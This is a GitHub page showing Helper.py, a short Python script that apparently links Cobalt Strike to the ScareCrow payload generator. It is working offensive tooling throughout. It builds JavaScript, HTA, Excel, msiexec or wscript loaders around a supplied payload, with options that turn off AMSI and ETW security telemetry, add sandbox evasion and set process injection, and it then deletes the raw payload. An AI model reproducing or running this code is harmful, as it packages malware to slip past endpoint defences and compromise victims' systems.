-
Notifications
You must be signed in to change notification settings - Fork 70
/
Helper.py
60 lines (41 loc) · 1.8 KB
/
Helper.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python3
import os.path
from json import loads
from sys import argv, exit
from subprocess import call, DEVNULL, STDOUT
def generate_payload(data):
call(["rm", "-r", "{}/.lib".format(data['script_path'])], stdout=DEVNULL, stderr=STDOUT)
command = [data['scarecrow_executable'], '-I', data['payload'], '-Loader', data['loader'], '-domain', data['domain']]
if data['noamsi'] == 'true':
command.append('-noamsi')
if data['noetw'] == 'true':
command.append('-noetw')
if data['nosleep'] == 'true':
command.append('-nosleep')
if data['sandbox'] == 'true':
command.append('-sandbox')
if data['injection']:
command.append('-injection')
command.append('{}'.format(data['injection']))
command.append('-outpath')
command.append('{}'.format(os.path.dirname(data['payload'])))
if data['loader_name']:
if not data['loader_name'].endswith('.js') and not data['loader_name'].endswith('.hta'):
response_message("[!] Please select .js or .hta loader for the payload.")
command.append('-O')
command.append(data['loader_name'])
filename = "Loader.js"
if data['loader_name'] and data['loader'] in ["control", "excel", "msiexec", "wscript"]:
filename = data['loader_name']
elif not data['loader_name'] and data['loader'] in ["excel", "msiexec", "wscript"]:
command.append('-O')
command.append(filename)
call(command, stdout=DEVNULL, stderr=STDOUT)
call(["rm", data['payload']], stdout=DEVNULL, stderr=STDOUT)
response_message("Payload successfuly generated at: " + os.path.dirname(data['payload']))
def response_message(message):
print(message)
exit()
if __name__ == '__main__':
cobaltstrike_data = loads(argv[1:][0])
generate_payload(cobaltstrike_data)